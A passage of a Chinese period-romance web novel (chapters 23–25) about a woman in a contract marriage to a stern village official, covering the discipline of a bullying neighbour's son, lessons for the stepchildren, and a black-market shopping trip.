刘秀香刚要说“那就这样”,一直没开口的傅青山冷声道:“如果再有一次,不管是欺负了村里哪家的闺女,都直接报公安局处理!” 傅青山可是镇武装部长,跟公安局长都熟得很,刘大水老婆一点不觉得傅青山是在吓她,傅青山看着就是什么事都能干出来的人。 别说宝根尿裤子,她都感觉要尿裤子了,根本不敢抬头,只对着傅青山的方向老老实实点头应承:“不敢不敢!再也不敢了!” 刘秀香看处理得差不多了,屋里这个味也真是呆不下去,起身道:“那今天就先这样。” 刘大水老婆和宝根长舒一口气,脚下比刘秀香还快,眼看要溜,被谢晚棠叫住。 刘大水老婆心提到嗓子眼,以为谢晚棠还不想放过她的宝根,转身回头,小心翼翼地看着谢晚棠。 谢晚棠抱着妞妞下炕:“你儿子把我们家尿的一屋子骚味,你就这么走了?” 刘大水老婆一听是这事,这才长舒一口气,赶紧道:“我来弄!” 刘秀香要回去做饭,谢晚棠和傅青山带着孩子们先去院里,刘大水老婆怕宝根尿哄哄的裤子再给淋啦的院子里也是,让宝根不准在院里,去胡同里等着! 刘大水老婆开开前后窗,又是擦,又是冲,来来回回七八遍,那块地擦得比她脸都干净,折腾了半个小时,屋里总算是一点尿味都没了。 刘大水老婆在屁股上擦擦手,小心翼翼地出来:“都弄好了。” 二刚和兰兰进去检查,确定真没味了,才让她走了。 刘大水老婆走的时候,看着傅青山白衬衣的袖子挽道手肘,正蹲在压井那儿洗菜,谢晚棠就站旁边跟妞妞玩。 村里最没出息的男人在家里都不干活,傅青山居然在家洗菜?!谢晚棠就在旁边看着? 不过刘大水老婆也不敢多看,只瞟了一眼,就赶紧带着尿裤子的儿子跑了,生怕晚一秒再惹出什么事来被留下。 谢晚棠看着刘大水老婆在傅青山面前这个怂样,跟中午在她面前判若两人,突然笑了。 宝根母子俩走后,傅青山的脸色还是阴沉着,听谢晚棠笑,抬头看她:“怎么了?” 谢晚棠笑道:“没想到你还有辟邪镇宅的功能。” 傅青山…… 谢晚棠笑着给他竖了个大拇指,就进去引火了,小刚和妞妞像两个小陀螺似的跟在后边要帮忙。 听着屋里传来叽叽喳喳热闹的声音,傅青山阴沉的脸色才慢慢转晴。 大刚在院里刨地,兰兰跟着撒种,二刚最后盖土。 谢晚棠指导傅青山做好饭,出来叫他们洗手吃饭。 吃完饭,傅青山才问大刚:“脸怎么回事?” 大刚不敢撒谎,就把中午去宝根家打人的事说了,傅青山刚回晴的脸色一下子又沉了下去。 不光大刚,其他四个孩子也不敢说话,坐在炕上老老实实。 谢晚棠嫁给傅青山不过三天,傅青山平常和孩子相处不多,她不太了解他们之间的相处模式,没想到孩子们这么怕他。 傅青山冷眼看着,声音更冷:“擦药了?” 大刚点头。 二刚补充:“中午去赤脚大夫那儿擦的药,赤脚大夫还给了换的药。” 傅青山闻声点头,脸色稍微和缓一点,朝窗外抬抬下巴:“今晚上站院子里面壁思过。” 谢晚棠震惊地瞪大眼:“站一晚上???” 虽然她中午那会儿也气大刚冲动,恨不得朝他脑袋上狠狠拍上三巴掌把他拍醒,但也不至于要站一晚上吧! 傅青山闻声看过来,像是奇怪她有什么异议。 不推崇体罚教育的谢晚棠确实很有异议,“大刚冲动是该罚,但也不至于罚站一夜这么狠吧!写检讨也可以啊,能认清错误就是好的。” 大刚:“……” 大刚皱眉,眼看傅青山在考虑这个提议,立马苦瓜脸哀求道:“爹!求你了!让我去罚站吧!” 谢晚棠……?? 大刚一听还要写检讨,脑袋嗡嗡的,他那小学三天打鱼两天晒网的上下来,字统共没认识多少个,让他写检讨,还不如杀了他! 后妈中午就看他不顺眼,这会儿果然要收拾他了!!! 谢晚棠只是觉得惩罚太严厉了,既然当事人宁愿辛苦罚站也不愿意写检讨,父子俩一个愿打,一个愿挨,那她也无所谓。 傅青山想了想:“写300字检讨。” 谢晚棠……?? 你们父子俩这是玩什么play呢? 大刚:“……” 他会不会写300个字还两说呢!这不要他命嘛! 看到大刚投过来的哀怨的视线,谢晚棠表示很无辜,惩罚决定权还是掌握你爹手里的,我不过是个建议者而已。 但大刚那眼神明显在控诉:如果你不提,就不会有这个惩罚方案! 解决完大刚的冲动问题,谢晚棠让几个孩子坐好,第一次郑重地上课。 谢晚棠先告诉妞妞以后再遇到这样类似的情况,不要害怕,能跑就赶紧跑,不能跑就大声喊人,哭不能解决问题,一定要及时告诉大人。 妞妞听得很认真,听完乖乖点头。 谢晚棠想到书中兰兰后来嫁人后一直被家暴,却独自默默忍受,不仅又提醒了一句:“兰兰也是,我们是一家人,要是被人欺负了,不能自己憋着不说,要懂得寻求帮助。” 兰兰垂眸,半晌没说话,不知道听进去没有,谢晚棠也不强求,兰兰天生性格软,不是一天两天就能改变的。 谢晚棠又表扬了小刚保护妹妹的行为,虽然他没有足够的能力赶跑宝根,但他勇敢地冲上去努力制止了,还有回来把这件事及时告诉她,才没有对妞妞造成更大的心理伤害。 小刚没想到自己没有保护好妹妹,让妹妹哭了,也可以被表扬,当即攥紧小拳头:“我以后要像爹一样厉害,就可以保护好妹妹了!” 谢晚棠肯定地给他竖起大拇指。 谢晚棠最后给家里的男孩统一上课:“男孩子要爱护保护女孩子,不能因为力量上的悬殊就随便嘲笑、欺负、强迫女孩子,那是很没礼貌也很没品德的行为。” 小刚眨巴眨巴眼:“要像爹对娘一样吗?不打娘,不骂娘,帮娘做饭。” 谢晚棠被说得怔住,下意识偏头,傅青山也在看她,两人视线对上,又同时错开。 谢晚棠笑着摸了摸小刚的头:“小刚很聪明哦,差不多吧。” 傅青山想起村里那些男人聚在一起聊女人聊荤段子,他最是厌烦,不想自己的孩子以后长大也变成那样,因而谢晚棠说完后他皱眉补充了句:“跟女孩身体有关的,出去别瞎说。” 谢晚棠没想到傅青山补充精准,她跟着点头:“爹说得对,不要瞎聊异性的隐私,那也很没品!” 上完课,孩子们下去收拾桌子洗碗,谢晚棠想起要给几个孩子做衣裳的事,问傅青山:“我明天想去镇上扯布,你能捎着我吗?” 傅青山点头:“可以。” 谢晚棠习惯了傅青山的惜字如金,很有经验地多问了一句:“那买完能把我送回来吗?” 傅青山:“可以。” 去镇上的事解决了,谢晚棠又问:“能弄点肉吗?” 家里没有肉票,上次去集上也没有看到卖肉的。 光吃鸡蛋也不行,植物蛋白和动物蛋白都要有,才能营养均衡。 今晚她指导傅青山熬的西红柿汤,又炖了个南瓜。 她记得以前奶奶在家用大锅南瓜炖肉炖出来的南瓜可香了,现在没肉,只放油和葱花,炖出来味总是差点。 之前结婚把肉票都用完了,傅青山想了想:“我来想办法。” 谢晚棠想起来分家就分了一斤油,也吃不下来这个月:“油也能搞点吗?” 傅青山点头,还是那句没花样的:“我来想办法。” 傅青山说他想办法,谢晚棠也就不操心了,她没门路,操心也没用。 傅青山可是年代文大佬,怎么也比她强。 忙碌了一天,谢晚棠也累了,下去打水,打算早点洗漱完了休息,往外走的时候右大臂不小心撞到炕间的门上,疼得嗷一嗓子,右边膀子突突突地跳着疼起来。 谢晚棠想起中午去拉大刚,被大刚大力甩开,右肩膀刚好撞到大门上。 当时忙着追大刚,去了刘大水家又是一通舌战,回来吃完饭就开始给小刚妞妞做衣裳做鞋,忙起来还真忘了疼,刚才这不小心一撞,伤处二次受伤,疼得她眼冒金星。 傅青山皱眉下炕过来看:“怎么了?” 谢晚棠解开最上边的扣子,把右肩往下拉了下,过了一下午,肩膀头果然已经紫了,怪不得那么疼! 虽然大刚一直带着头跟她冷战,但她知道,大刚中午甩开她那会儿确实不是故意的,就是妹妹被欺负了,他一时急了要挣脱她去给妹妹报仇。 看大刚愁着写检讨那个样,谢晚棠怕傅青山知道了给大刚检讨再加300字,便没说是大刚甩的,只说中午跑得急,不知道怎么碰的。 傅青山皱眉,显然不信,撞成这样,怎么可能不知道怎么碰的。 谢晚棠坐回炕上,转移话题:“你拿那药酒再给我搓搓吧,你那药酒好使。” 看傅青山皱眉不动,谢晚棠试图拿出绿茶小技能,努力想挤出来两颗疼痛的眼泪结果未遂,最后只能可怜兮兮地嘶了一声:“好疼啊~” 闻声,傅青山冷如冰山的黑色眸子抬起,对上谢晚棠那水汪汪好像下一秒就要流泪的杏眼。 谢晚棠朝他眨巴眨巴眼,看到顾青山喉结动了下,然后就没再追问她怎么受的伤,转身去拿抽屉里的药酒。 孩子们还在院里,谢晚棠也没脱衣裳,就拉下来右肩头,露出来撞伤的地方。 即使之前搓过有心理准备,疼痛袭来的那一刻,谢晚棠还是忍不住痛呼出声!!! “啊疼疼疼————” 谢晚棠刚嗷完,抬眸就看到门口探进来五个脑袋,都是听着她的惨叫声进来的。 “……” 谢晚棠突然感觉好丢脸,终究还是让孩子们见到了她鬼哭狼嚎的一面! 傅青山旁若无人般继续揉搓,谢晚棠努力咬紧牙关,龇牙利嘴地忍了能有1分钟就实在挺不住了,在傅青山恐怖的手劲下直接破功了。 “你轻点啊!!!疼疼疼疼疼!!!” 妞妞看得心都揪起来了,听到娘喊疼,小心翼翼地上前扯爹的袖子:“爹,你别欺负娘。” 小刚闻言也上来扯他:“爹!你别欺负娘!” 傅青山:“……” 谢晚棠闻声噗嗤笑了,她现在也有小棉袄和小棉裤了呢! 谢晚棠抬眸看了一眼傅青山冷峻又无奈的脸,笑着伸手摸摸两个小家伙的头:“爹没欺负娘。” 两个小的一脸不信,妞妞眼睛都红了。 傅青山看了眼两个不懂事的小的和骨碌着大眼睛似懂非懂的二刚,又瞥了眼眉头皱得更深的大刚,最后对兰兰道:“你带弟弟妹妹先出去。” 兰兰大,进来一看就知道是在揉伤,不是小刚和妞妞以为的那样,点头拉着三个小的出去。 谢晚棠透过窗棂看着兰兰和大刚带着三个小的去街上了,这才放下心来,不用死命忍着疼了。 可叫着叫着,突然抬眸看着后窗,想起玉秀说的后屋那个偷听还出去传傅青山是变态夜夜折磨她的小寡妇。 谢晚棠一想到今晚自己又一顿鬼哭狼嚎,傅青山肯定风评又被害,便觉对傅青山有那么一丝丝的愧疚。 傅青山不行归不行,但诋毁人是变态虐人狂就过分了! 嫉妒是病,得治,明天就给她们好好治治。 傅青山看到谢晚棠明亮的眸子里对他流露出有愧又……可怜他的神色。? 傅青山再次确认谢晚棠发呆的眼神,除了可怜他,还有点……愤愤不平? 傅青山眉头微蹙:“怎么了?” 谢晚棠被冷声打断,回过神来,看傅青山皱眉,笑笑:“没事没事。” 那方面不行已经是傅青山难以启齿的隐疾,她如果再把别人议论他不行且变态的话告诉他,就算是傅青山这样强大的男人,心里也肯定不舒坦吧。 还是不要,傅青山在物质生活上付出很多,这些杂事,就交给她来处理就好。 伤处搓得差不多活血了就不疼了,洗漱完一家人上炕睡觉。 睡前妞妞还不放心地凑近了看她,谢晚棠再三保证自己真的没事,妞妞才放下心来,跟着姐姐躺下。 谢晚棠还是睡在最里边,傅青山挨着三个刚,妞妞和兰兰在另一头。 昨晚因为烫伤大半个晚上没睡实,今天忙了一天,谢晚棠是真累了,搓过的伤不疼了,很快就进入了梦乡。 孩子们今天也经历了太多事,精神紧绷,现在解决了放松下来,也很快就睡着了。 除了傅青山。 眼睛比月亮还明。 或许是相处熟络了些,谢晚棠越来越放松,她跟孩子们玩闹时凹进去的小梨涡,她眨着又长又俏的睫毛跟他撒娇说好疼啊,还有她愣神时奇奇怪怪的小表情,揉伤时他掌心里那柔软的触感…… 谢晚棠还控诉她冷酷无情,才能干得了揉伤这个活,其实只有他自己知道,谢晚棠每喊一声,他的心脏就跟着揪一下…… 傅青山强迫自己闭上眼睛睡觉,不再奇奇怪怪的胡思乱想,身边的人突然翻身,他下意识绷紧身体,下一秒一只柔软的手搭在了他胸口上。 柔软微凉的指尖刚好点在他的心脏上,那一瞬间,他的心脏仿佛都停止跳动,只能感觉到那柔软的手。 然而心脏停跳只是错觉,片刻后他便听到了自己心脏咚咚咚咚的剧烈跳动声,心脏剧烈跳动泵血,连带着全身的血液都跟着躁动起来。 谢晚棠面对着他侧躺,温热柔绵的呼吸扑在他肩头,气息流动,一直痒到肩颈相接的脖颈处,呼吸持续,仿佛不间断地撩拨,无休无止…… 燥热集中到一个点,傅青山再也绷不住,深吸一口气,轻轻拿开谢晚棠放在他胸口的手坐起来,静坐片刻,身体里的躁动依旧无法镇定,他下炕去院里打水冲凉。 冲完回来,月光下,谢晚棠的身影已经背过身去,朝墙那边睡了。 傅青山长舒一口气,上炕躺下,努力入睡。 身旁的人像是装了什么监测仪器,他刚躺下,谢晚棠就翻过身来,准确寻找到他的位置,不止手摸着他的胸口,腿也压上来,压在他大腿根,还舒服得蹭了蹭。 刚冲凉水冷静下来的傅青山:“……” 第24章 【一更】如最恩爱的夫妻那般。 搭在身上的手臂和小腿并不重,却温柔地将他缠绕禁锢。 傅青山躺在那里一动不动,几乎连呼吸声都听不见,眼睛却铮亮,睡意全无。 他应该把谢晚棠的手脚都拿开,不然他今晚不用想睡觉。 但是就算他拿开,谢晚棠也会再覆上来吧? 那……还要拿开吗? 傅青山27年的生命里第一次这么纠结,只是为这么一点小事,他甚至都不知道自己在纠结什么。 身旁的人又动了动,傅青山下意识绷紧身体,连胡思乱想的大脑都跟着绷紧。 谢晚棠额头抵着他的大臂,温柔的呼吸如细雨浸润干涸的泥土,刺激着泥土迸发出压抑不住的蓬勃生机,刚刚冲凉的皮肤又被燥热席卷。 谢晚棠整个人都贴上来,大片柔软贴上他坚硬的手臂,反应过来这触感的来源,傅青山呼吸都停滞住。 谢晚棠手脚并用,整个靠上来抱住他,小腿收紧犹如火柴终于擦着火,扔进了柴火堆,马上就要燃起熊熊大火。 傅青山再也躺不住,猛得坐起来,身上不知不觉又出了一层薄汗。 谢晚棠的手滑落下去,腿还搭在他大腿根,有点别扭,不舒服地动来动去,傅青山热得伸手使劲抓了把头发强迫自己清醒过来,拿开那只不老实的小腿,今晚第二次下炕。 傅青山习惯光膀子穿大裤衩睡觉,和谢晚棠结婚后,因为是合约夫妻关系,他睡觉的时候下身就穿长裤了,但上衣依旧是光着的。 在部队的时候,人人都这样,不止是睡觉,有时候训练都是光着膀子,傅青山原本并不觉得男人光膀子有什么不妥。 然而,再次彻底冲凉后,傅青山老老实实穿上了衬衣。 不过不知道谢晚棠是不是真的头上有天线,就算穿上衣裳,谢晚棠也在他躺下的瞬间精准地翻身抱住他…… 如最恩爱的夫妻那般。 傅青山数不清他的身体一晚上被反复焦烤过多少次,甚至一度担心这样下去身体会不会出问题。 …… 母单24年一直独睡的谢晚棠并不知道自己有睡觉不老实的坏习惯,她梦到自己走在沙漠里,快被烤干了,浑身又热又难受。 突然感受到一片清凉的气息,是一片很大的湖,她赶紧跑过去伸手试,是凉的,简直是沙漠旅人的救星! 谢晚棠整个人浸泡在凉凉的湖水中,手脚快乐地扑腾着水,真舒服啊! 一觉醒来,神清气爽,谢晚棠依旧是最晚的那个。 她下炕的时候,傅青山已经在煮鸡蛋了。 谢晚棠身体舒服心情也好,扬起唇角跟傅青山打招呼:“早!” 傅青山偏头看过来,谢晚棠原本笑意盈盈,被他下眼睑青色的黑眼圈吓了一大跳:“你这是怎么了?!昨晚没睡好?” 傅青山看着面前撩拨了他一晚上此时又一脸惊诧仿佛是最无辜的人:“……” 傅青山本来话就不多,今天更不想说话。 关于昨晚的一切都难以启齿。 他垂下眼皮,把锅里的鸡蛋捞出来:“没事,吃饭了。” 谢晚棠看傅青山不愿说,也不好再追问,虽然睡一个炕上,但毕竟只是合约夫妻,而且傅青山都那么大人了,不是小孩子,睡眠这点事肯定能调整好。 吃饭的时候谢晚棠说了今天要和傅青山进城采购的安排,问孩子们有没有什么想要的,只要是合理范围内的,都可以安排。 妞妞已经被娘从头到脚一身新打扮下来,乖巧地摇摇头。 小刚只期待自己的新衣裳,别的也不多要。 谢晚棠没说要叫娘才可以要东西,二刚犹豫了下,试探地问:“我可以要个陀螺吗?” 这个年纪的小男孩最爱的游戏之一就是打陀螺。 小小要求,自然满足,谢晚棠比了个ok的手势:“没问题。” 二刚长舒一口气,心情瞬间开朗,连一会儿要去上学都不觉得痛苦了! 大刚和兰兰比这三个小的大不少,不像小的容易亲近,不过当着傅青山的面,面对谢晚棠的询问,也不能不理会,两人都冷面摇头,什么都不要。 谢晚棠也不强求:“那我就和爹看着买了。” 吃完饭,大刚兰兰去上工,二刚难得开开心心去上学了。 一想到放学回来就能有陀螺了,二刚脚步都是轻快的,左跳跳又蹦蹦,看着石子都要高兴得踢几脚,看着石子弹起来又飞滚出去,就跟他的好心情一样! “二刚?” 听到有人叫自己,二刚回头,就看到后屋的王寡妇和两个妇女笑眯眯地迎上来,一脸好奇地问他:“你爹昨晚怎么弄的你后娘?把你后娘弄得很疼吧?” 二刚想了想昨晚爹握着后妈的胳膊生搓,后妈疼得龇牙咧嘴嗷嗷叫的惨状,刚要点头,突然又想起昨晚爹下的命令——出去不准瞎聊跟女生有关的事。 后妈……虽然他不会向后妈低头,但后妈也算是女生吧。 王寡妇和妇女们看二刚若有所思,眼珠子骨碌骨碌转,一下子更来了精神,急吼吼地凑到二刚脸前:“快说说,你爹到底怎么弄的?” 夜夜听着谢晚棠惨叫,又不能趴窗户上看,可急死了她们了,到底怎么弄的嘛! 傅青山白天看着古板高冷,晚上不知道是个什么变态样儿,想想就刺激! 那个年代也没电视手机这些娱乐活动,村里的男人女人们最喜欢的事就是八卦婆媳关系和夫妻那点事。 二刚非常坚定地摇摇头:“我爹说了,不能说!” 说完二刚就继续踢着小石子上学去了,留下几个妇女面面相觑。 还嘱咐孩子不能出来说,那就确定是干了见不得人的变态事了,还当着孩子的面! 啧啧啧!谢晚棠过得真惨啊! …… 傅青山收拾完桌子,谢晚棠换好了衣服,她穿着跟妞妞同款的那身晴蓝色休闲装,和傅青山一起送妞妞和小刚去玉秀家。 虽然这个年代没有偷孩子的,但昨天出了宝根那档子事,谢晚棠还是不放心放两个这么小的孩子单独在家。 谢晚棠左手领着妞妞,右手领着小刚走在前边,傅青山推着车子跟着后边。 看着前边一大两小开心地拉着手晃着胳膊说说笑笑,傅青山因为没睡好而产生的疲惫感都淡去很多。 这个点正是上工时间,路上村民来来往往,他们一家子把高大帅气,漂亮好看,干净可爱都凑齐了,一路上回头率极高。 妞妞从来没被这么多人盯着看过,被看得多了,有些紧张地靠着谢晚棠的大腿,仰头小声问:“娘,他们为什么都看我们啊?” 谢晚棠这两天也感觉到了,妞妞还没记事就没了父母,小女孩天生性子又敏感胆小,不像小刚那么开朗。 谢晚棠弯腰捏捏妞妞白嫩却不怎么肉乎的小脸蛋,笑道:“因为妞妞和娘有亲子装哦,她们都羡慕妞妞,所以才一直看!” 妞妞闻声又开心又疑惑:“什么是亲子装?” 谢晚棠想了想:“亲子装就是父母和孩子穿同款的衣裳,孩子就是父母的缩小可爱版!” 小刚一听也急着要谢晚棠给他做亲子装。 谢晚棠轻点小刚鼻头:“没问题,安排!” “耶!我也可以穿亲子装了!” 小刚原地转圈,开心欢呼,惹得路过的社员都往这边看,还有人议论什么是亲子装? 听到小哥也可以有亲子装,妞妞很开心,突然回头看傅青山,拉着谢晚棠的手问道:“那爹也可以和我们一起穿亲子装吗?” 谢晚棠……?? 亲子装,当然也可以包括父亲。 但是,她们穿的可是晴蓝色,小刚就比妞妞大一岁,小男孩穿这么嫩的颜色倒也很可爱,但傅青山—— 谢晚棠站起身,回头看了一眼冷硬的傅青山,想象了一下傅青山穿上一身晴蓝色的样子,没忍住,噗嗤一声笑了。 谢晚棠忍不住打趣*这个惯于冷脸的男人,笑着叉腰道:“怎么样爹?要不要跟我们一起穿亲子装呀?” 傅青山:“……” 他跟在后边,虽然一直没参与,但谢晚棠和儿女的聊天他都听到了,自然也知道他们说的亲子装就是谢晚棠和妞妞穿的这身。 这衣服他一个大男人当然不能穿,知道谢晚棠是在跟他开玩笑,傅青山再看谢晚棠,只觉得她叉腰低笑的样子,比早晨的太阳还要明媚。 傅青山推着车子走过来,轻咳一声:“你们穿,我看。” 谢晚棠搂着小刚和妞妞笑道:“这样啊,那就谢谢爹挣钱给我们买亲子装喽~” 小刚妞妞跟着她齐声喊:“谢谢爹!” 傅青山眉峰动了动,谢晚棠的话听起来有点歧义,好像也跟着孩子一起喊他爹似的…… 把妞妞和小刚送到玉秀家,玉秀去下地了,傅大娘在家洗衣裳,两个孩子再次展示了自己的新衣裳新鞋后,就乖乖去看小狗了,也不闹人。 傅大娘看两个孩子看谢晚棠的眼神都不一样了,透着亲近,也跟着高兴,说孩子放在这放心就行,然后又让他们等等,进屋去拿了1块钱给谢晚棠:“晚棠,你给我捎着扯块布,给老二做身新衣裳好穿着相对象。” 玉秀上边有三个哥哥,老大前年结了婚就分出去单过了,老二这也到年纪了,婚事也得张罗起来了。 大爷大娘帮他们很多,孩子还托人家照看,谢晚棠说不用给钱了,傅大娘坚决不行:“看孩子又不费我工夫,你眼光好手艺也好,扯回来布还得找你帮着做呢,你要是买布再不要钱,那我还怎么好意思去找你!” 谢晚棠笑着点头收下,问了傅大娘想要的颜色和老二的身高体重,就和傅青山出发了。 谢晚棠还是计划好去黑市找上次那个大姨买布,既省钱又节约布票。 快到镇上的时候,她突然想到这次跟她一起的不是玉秀了,而是一身正气的政府公职人员傅青山。 傅青山会不会义正言辞地指责她这是钻计划经济空子,薅社会主义羊毛的卑劣行径!必须坚决杜绝! 以谢晚棠对傅青山不多的了解,十有八九,很有可能! 虽然供销社的布也买得起,但是!有更便宜的为什么不要! 从市场经济时代穿越过来的谢晚棠很难接受不薅羊毛! 谢晚棠正犹豫怎么跟傅青山讲讲这个特殊时期的不得已行为与正义品行无关,就见傅青山没有往供销社的路走,转头骑进了上次玉秀带她走的那个小巷子。 谢晚棠……?? 怎么有一种傅青山比她还轻车熟路的感觉? 第25章 【二更】第一次听傅青山叫她老婆。 傅青山确实比她轻车熟路,在小巷子里拐来拐去,谢晚棠都快绕晕了,傅青山在一家破旧的院门前停下。 谢晚棠鼻子尖,闻到空气中一股粪味和血腥味。 傅青山支下车子,跟谢晚棠要了钱,上前去敲门。 谢晚棠站在自行车边等,一开门就看到一个胖乎乎的光头男,穿着个油光光的大围裙,傅青山低声跟光头男说了几句,光头男探头出来小心查看了一下四周,确定安全后,收下傅青山递过来的钱,胖胖的身子退回院内,稍稍掩门。 不多时,光头男又探头出来,交给傅青山一大包黄油纸包着的东西。 味道太明显,谢晚棠不傻,自然明白过来这是黑市宰猪卖肉的地方,里边估计还养着猪,所以才会有粪味飘出来。 买完猪肉,傅青山又带她去了卖花生油和鸡蛋的地方,因为不要票,傅青山下手便不含糊,一下子买了10斤油和30个鸡蛋。 买完这些,她还没说话,傅青山就把她带到了黑市卖布的大姨那儿。 谢晚棠:“……” 她之前还想着怎么能说服傅青山跟她来黑市买布,着实是她多虑了…… 看傅青山这熟练程度,早把黑市摸透透的了。 谢晚棠下车,先给玉秀二哥扯好布,然后就开始挑自己家的。 家里孩子多,衣服鞋都破得不成样子,全得做新的,谢晚棠也懒得一一算了,黑色、深灰、浅灰、藏青、晴蓝、白色、暗红、姜黄每样都扯上6尺,回去再慢慢给每个孩子搭配着颜色做。 她这大客户也算是大姨的回头客了,各色的线就没要钱,送了几辊子给她。 付完钱,谢晚棠拿布袋装上线辊子,看傅青山从大姨处接过厚厚一摞各色各样的布,还是感觉不可思议。 自行车后座硬,谢晚棠坐累了,屁股又酸又麻,这次来镇上主要要采买的东西都买得差不多了,傅青山就把土布先绑在车后座上,推着车子,两人不急不忙地往供销社走,再去买点孩子们吃的玩的小东西。 指望傅青山主动开启话题是不可能了,谢晚棠感觉那可能比母猪上树还难^_^ 没到中午下班点,黑市上人不多,谢晚棠看了一会儿身旁推着车子的高冷男人,忍不住感慨了句:“真没想到你也会来黑市买东西。” 还那么熟练,一看就是“作案”多次了。 傅青山闻声偏头,眉锋蹙在一起:“我为什么不能来黑市买东西?” 谢晚棠具体也说不出来为什么,可能就是傅青山身上那种天然的刚正不阿的气质? 你说下沟村任何一个人,不论男女,就算是支书傅余年来黑市,她都会毫不犹豫相信,唯有傅青山,要不是亲眼所见,她肯定不会相信。 被傅青山冷如黑夜的眸子看着,谢晚棠总得想个理由,她歪头想了想:“你是国家公职人员,是武装部长,你不打击投机倒把,还来给投机倒把送买卖?” 傅青山闻声,眸光里的冷沉收起许多,边走边解释:“投机倒把不归武装部管。” 谢晚棠:“哦,这样啊。” 傅青山:“而且,国家公职人员也得养老婆孩子。” 傅青山随口一句,弄得谢晚棠愣了一下才反应过来,养老婆指的就是她。 从她上门“求亲”到嫁给傅青山,傅青山从来叫过她的名字,好像都是有事说事,没什么称谓,她还是第一次听傅青山叫她老婆呢。 她……也算是个老婆吧。 毕竟合约老婆也得养嘛。 谢晚棠非常满意大佬的思想觉悟,这样她就不用给大佬洗脑了,于是作出一副被大佬洗礼大彻大悟的样子:“对哦!你说得很有道理!” 傅青山看她,她眨眨眼,下一秒就听傅青山道:“国家生产物资有限,百姓又要生存生活,这是人民内部矛盾,不上升到阶级立场,与人品道德无关,你不要多想。” 谢晚棠:“……” 好熟悉的味道。 这不是她准备了一肚子的词吗? 行行行,大佬不愧是大佬,就算在当下时代背景下,都看得如此透彻。 黑市采购,谢晚棠感觉重新认识了傅青山,他为人正直、有底线有原则,同时又不失灵活、随机应变。 两人走了一会儿,谢晚棠脚底又走累了,坐上车,两人出发直奔供销社。 第三次来供销社,售货员一眼就认出他们,知道傅部长疼媳妇,便热络地上来招呼谢晚棠:“又和傅部长来买东西了,这次要点什么?” 傅青山只充当力工帮忙拿东西,谢晚棠在前边挑。 陀螺是这个年代的小男孩最喜欢的游戏,拿小鞭子啪啪抽起来,强烈启发出小男生的胜负欲。 给二刚买完陀螺,谢晚棠在玩具柜台那儿看到了她自己童年最爱玩的跳皮筋,想到妞妞平时在家除了小鸡小鸭也没什么好玩的,便给妞妞割了4米的橡皮筋。 买完玩具,售货员献宝似的把新到的大白兔奶糖从柜台底下拿出来,这种抢手货不多,一般都不往外摆的,家里孩子多,谢晚棠自己也好久没吃甜了,果断拿下1斤。 酥货品种不多,桃酥和小麻花各来两包。 这次还新到了干杏脯,装在玻璃瓶里的橙色杏脯晒得软硬适中,让人一看就有食欲,不过现在天还有点热,谢晚棠怕不好放,就先买一小瓶回去,家里人多,很快就吃完了。 之前两次来都是采购结婚用品,谢晚棠没有副食品本买不了,其他的吃的也没怎么看,今天带着家当来的,仔细一看,这小小的供销社真是麻雀虽小,五脏俱全呢! 谢晚棠居然在供销社看到了干虾仁,脑海里瞬间出现妈妈做的大葱虾仁鸡蛋汤,虾仁的鲜咸浸润到汤里,几乎不用加任何调味料,就是天然的美味! 这个必须拿下! 谢晚棠对今天的收获非常满意,开开心心去付钱付票,付完找人拿的时候,才发现傅青山正站在卖的确良的柜台前。 谢晚棠奇怪他一个大男人怎么突然对女人的花布感兴趣了,让售货员给她把东西打包装好,她过去找傅青山。 傅青山听到她声音,偏头看她:“怎么不买的确良?” 结婚前他给了她布票和50块钱,她就买了一身红色的确良结婚那天穿,其他的衣裳都是土布做的。 傅青山在镇上上班,镇上的年轻女工都爱穿的确良,他自认为能养得起谢晚棠穿的确良,不需要她这么委屈自己。 谢晚棠想了想,兰兰14了,也快长成大姑娘了,玉秀都喜欢的确良,兰兰肯定也喜欢。 虽然她自己是喜欢土布,但她不能强求兰兰也跟她一样喜欢土布。 谢晚棠摸了摸其中一款素雅的浅绿色格子的确良:“买块也行。” 玉秀一直心心念念布拉吉,谢晚棠想大概这个年代的小姑娘都喜欢吧,不过农村不比城里,干活穿布拉吉不方便,谢晚棠就先给兰兰扯了一块做衬衣的尺寸,又配了一块淡青色的确良做裤子。 从供销社出来,傅青山又去隔壁国营饭店打包了1个肘子、10个芝麻火烧带回去中午给孩子们吃,他们回到下沟村估计刚好快到饭点了,有了硬菜和主食,再炒一个青菜就可以开饭了,孩子们就不用饿着肚子等太久。 全部采购完,自行车筐、车把上挂满了大包小包,谢晚棠坐在后边抱着布和一兜子鸡蛋,满满当当回了下沟村。 住在傅青山家后屋的王寡妇一头晌到处宣传傅青山在家虐待谢晚棠,谢晚棠嫁过去日子过得生不如死,惨得呦~ 几个妇女听到谢晚棠过得不好,都来了劲,围在一起嘁嘁喳喳。 “看着结婚前给谢晚棠买那么些好东西,没想到娶到手就不当人待了。” “谁让谢晚棠就奔着傅青山有钱去的,不好好看看人,我就说傅青山不靠谱,要真是好男人,还能快三十了还娶不着媳妇便宜了她?” “啧啧,好好的姑娘,真是白瞎了。” “她算什么好姑娘,长了一脸狐狸精样,现在好了,勾引了个变态,自食其果了!” …… 头晌在地里干活没说够,下了工往家走的路上几个妇女还在可怜谢晚棠的悲惨遭遇,以寻求自己心理的平衡,下一秒就看到傅青山骑着自行车带着谢晚棠从外边回来了。 傅青山车筐里装了一大桶黄橙橙的花生油,起码得有10斤! 花生油旁边还堆了桃酥、小麻花、果干、奶糖……两个车把上一边一个布包,一看就沉甸甸地装了不少东西。 谢晚棠坐在后边,抱着一大摞颜色各异的布,都快堆到谢晚棠脖子了! 不是结婚前才买了布做衣裳吗?怎么又买这么多布!这得做多少衣裳,穿得过来吗?家里放得开吗? 傅青山居然也就由着谢晚棠这么浪费???! 谢晚棠远远就看到前边那群妇女了,为首的就是他们家后屋的王寡妇,玉秀过了,就是她带头在外边传傅青山的坏话,诋毁傅青山是变态对她不好。 嫉妒上瘾是吧,那就让你们嫉妒个够哦~ 因为带的东西多,还有鸡蛋容易碎,傅青山不能骑太快。 自行车慢慢悠悠路过这群妇女旁边的时候,谢晚棠伸手抱住傅青山劲瘦的腰,靠在他挺括的背上温温柔柔地撒娇道:“青山哥,中午除了肘子和烧饼,你再给我们做个虾仁鸡蛋汤好不好呀?” 轻柔细嫩的手抚上他腰的那一刻,傅青山整个人下意识紧绷,连脚下蹬车子的节奏都要停滞了。 